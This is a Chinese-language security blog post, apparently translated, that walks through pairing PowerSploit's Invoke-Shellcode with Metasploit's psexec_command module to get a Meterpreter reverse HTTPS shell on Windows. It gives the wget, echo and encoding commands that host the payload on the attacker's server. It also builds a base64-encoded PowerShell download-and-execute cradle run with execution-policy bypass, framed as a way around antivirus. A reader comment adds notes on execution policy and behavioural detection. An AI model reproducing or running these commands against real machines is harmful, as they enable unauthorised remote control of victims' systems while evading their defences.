PowerSploit+Metasploit=Shells

2013-04-01 229391人围观 ,发现 7 个不明物体 系统安全

Metasploit支持类似PSEXEC 与 hash注入的功能,不幸的是,如果AV产品拥有删除二进制上传服务的话,它的功能大多是没用的。最近,有一个模块(/auxiliary/admin/smb/psexec_command)允许你运行一个Windows命令来发现哈希值或证书(不包括AV产品)。但我们使用的是不完整的的meterpreter shell。我们可以打开一个命令到Meterpreter shell 与 PowerSploit + Invoke-Shellcode.ps1

基本步骤:


环境:KaLi linux 

kalilinux的PowerSploit的版本目前已过时了,所以我要运行:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

接下来,我们需要添加相应的函数来调用LHOST和Lport的参数并确保Apache正在运行

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

添加调用的函数:


现在,我们有脚本代码托管,还需构建要执行的命令。虽然我们可以编码整个命令,但我发现,构建一个小型脚本会更加可靠。我们可以用同样的方法在一前一后使用。

基本上,我们是要将简短的Base64编码脚本块来把我们的脚本其余的部分拆除

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")" encode="`echo $scriptblock | base64 -w 0`"
 command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode" echo $command 

现在,我们填写其余的模块设置(一个密码 或 hash),可以使用命令参数的编码命令:

接下来运行 multi/handler 与  reverse_https:

最后,我们运行的模块。用单一的命令来运行这个上传二进制服务的文件。这个命令是一个PowerShell脚本编码,这是拉低较大调用的shellcode脚本。调用ShellCode是确定系统是否是x86或x64,

注入meterpreter的shellcode到一个适当的环境中:

最终的结果是一个meterpreter shell,相比psexec_command模块,无需编写更多的磁盘。

我希望你觉得它对你有用,也许有人会得到启发,将这一切做成一个自动化模块。

原文

这些评论亮了

  • xt9 回复
    powershell脚本默认是不允许直接执行的,需开启set-executionpolicy remotesigned
    如果目标机的AV 是有主动防御功能的话,黑客动作总是一样的,一样能被拦截,用什么语言实现只是绕过了 那些笨重的文件特征,行为是不能骗人的。
    )10( 亮了
发表评论

已有 7 条评论

取消
Loading...
css.php